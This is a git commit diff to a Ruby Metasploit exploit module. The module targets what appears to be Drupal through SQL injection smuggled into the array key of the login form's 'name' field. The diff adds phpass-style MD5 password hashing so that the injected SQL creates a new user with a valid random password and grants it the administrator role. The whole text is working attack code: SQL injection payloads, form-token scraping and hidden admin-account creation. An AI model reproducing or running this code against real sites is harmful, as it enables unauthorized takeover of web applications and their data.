password hashing

bug/bundler_fix
Christian Mehlmauer 2014-10-17 15:52:47 +02:00
parent 9bab77ece6
commit c8dd08f605
1 changed files with 49 additions and 28 deletions

View File

@ -47,7 +47,8 @@ class Metasploit3 < Msf::Exploit::Remote
register_advanced_options( register_advanced_options(
[ [
OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator']) OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator']),
OptInt.new('ITER', [ true, "Hash iterations (2^ITER)", 10])
], self.class) ], self.class)
end end
@ -59,52 +60,75 @@ class Metasploit3 < Msf::Exploit::Remote
datastore['ADMIN_ROLE'] datastore['ADMIN_ROLE']
end end
def iter
datastore['ITER']
end
def itoa64
'./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
end
# PHPs PHPASS base64 method
def phpass_encode64(input, count)
out = ''
cur = 0
while cur < count
value = input[cur].ord
cur += 1
out << itoa64[value & 0x3f]
if cur < count
value |= input[cur].ord << 8
end
out << itoa64[(value >> 6) & 0x3f]
break if cur >= count
cur += 1
if cur < count
value |= input[cur].ord << 16
end
out << itoa64[(value >> 12) & 0x3f]
break if cur >= count
cur += 1
out << itoa64[(value >> 18) & 0x3f]
end
out
end
def generate_password_hash(pass) def generate_password_hash(pass)
# Syntax for MD5: # Syntax for MD5:
# $P$ = MD5 # $P$ = MD5
# one char representing the hash iterations (min 7 iterations) # one char representing the hash iterations (min 7)
# 8 chars salt # 8 chars salt
# MD5_raw(salt.pass) + iterations # MD5_raw(salt.pass) + iterations
# MD5 base64 encoded and trimmed to 22 chars for md5 # MD5 phpass base64 encoded (!= encode_base64) and trimmed to 22 chars for md5
iter_char = itoa64[iter]
# VALID md5 for salt 12345678 and password test salt = Rex::Text.rand_text_alpha(8)
#$P$812345678BWHQIqn5fZNJ.YWj7Kb39.
pass = 'test'
iter = 10
iter_char_base = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
iter_char = iter_char_base[iter]
#salt = Rex::Text.rand_text_alpha(8)
salt = '12345678'
md5 = Rex::Text.md5_raw("#{salt}#{pass}") md5 = Rex::Text.md5_raw("#{salt}#{pass}")
1.upto(iter) { # convert iter from log2 to integer
iter_count = 2**iter
1.upto(iter_count) {
md5 = Rex::Text.md5_raw("#{md5}#{pass}") md5 = Rex::Text.md5_raw("#{md5}#{pass}")
} }
md5_base64 = Rex::Text.encode_base64(md5) md5_base64 = phpass_encode64(md5, md5.length)
md5_stripped = md5_base64[0...22] md5_stripped = md5_base64[0...22]
pass = "$P$#{iter_char}#{salt}#{md5_stripped}" pass = "$P$#{iter_char}#{salt}#{md5_stripped}"
#puts pass vprint_debug("#{peer} - password hash: #{pass}")
# return hardcoded password test for now return pass
return '$S$D7hqYeEHohfN2JLg7L4JBa8P3HBX8vimkIehutyb3BptkWMMON/d'
end end
def sql_insert_user(user, pass) def sql_insert_user(user, pass)
"insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{(generate_password_hash(pass))}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users" "insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{generate_password_hash(pass)}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users"
end end
def sql_make_user_admin(user) def sql_make_user_admin(user)
"insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'));" "insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'))"
end end
def extract_form_ids(content) def extract_form_ids(content)
form_build_id = $1 if content =~ /name="form_build_id" value="(.+)" \/>/ form_build_id = $1 if content =~ /name="form_build_id" value="(.+)" \/>/
form_token = $1 if content =~ /name="form_token" value="(.+)" \/>/ form_token = $1 if content =~ /name="form_token" value="(.+)" \/>/
unless form_token and form_build_id
fail_with(Failure::Unknown, "Could not parse form tokens")
end
vprint_debug("#{peer} - form_build_id: #{form_build_id}") vprint_debug("#{peer} - form_build_id: #{form_build_id}")
vprint_debug("#{peer} - form_token: #{form_token}") vprint_debug("#{peer} - form_token: #{form_token}")
@ -113,7 +137,6 @@ class Metasploit3 < Msf::Exploit::Remote
def exploit def exploit
# TODO: Password hashing function
# TODO: Check if option admin_role exists via admin/people/permissions/roles # TODO: Check if option admin_role exists via admin/people/permissions/roles
# call login page to extract tokens # call login page to extract tokens
@ -136,9 +159,7 @@ class Metasploit3 < Msf::Exploit::Remote
end end
user = Rex::Text.rand_text_alpha(10) user = Rex::Text.rand_text_alpha(10)
#pass = Rex::Text.rand_text_alpha(10) pass = Rex::Text.rand_text_alpha(10)
# TODO: hardcoded for now
pass = 'test'
post = { post = {
"name[0 ;#{sql_insert_user(user, pass)}; #{sql_make_user_admin(user)}; # ]" => Rex::Text.rand_text_alpha(10), "name[0 ;#{sql_insert_user(user, pass)}; #{sql_make_user_admin(user)}; # ]" => Rex::Text.rand_text_alpha(10),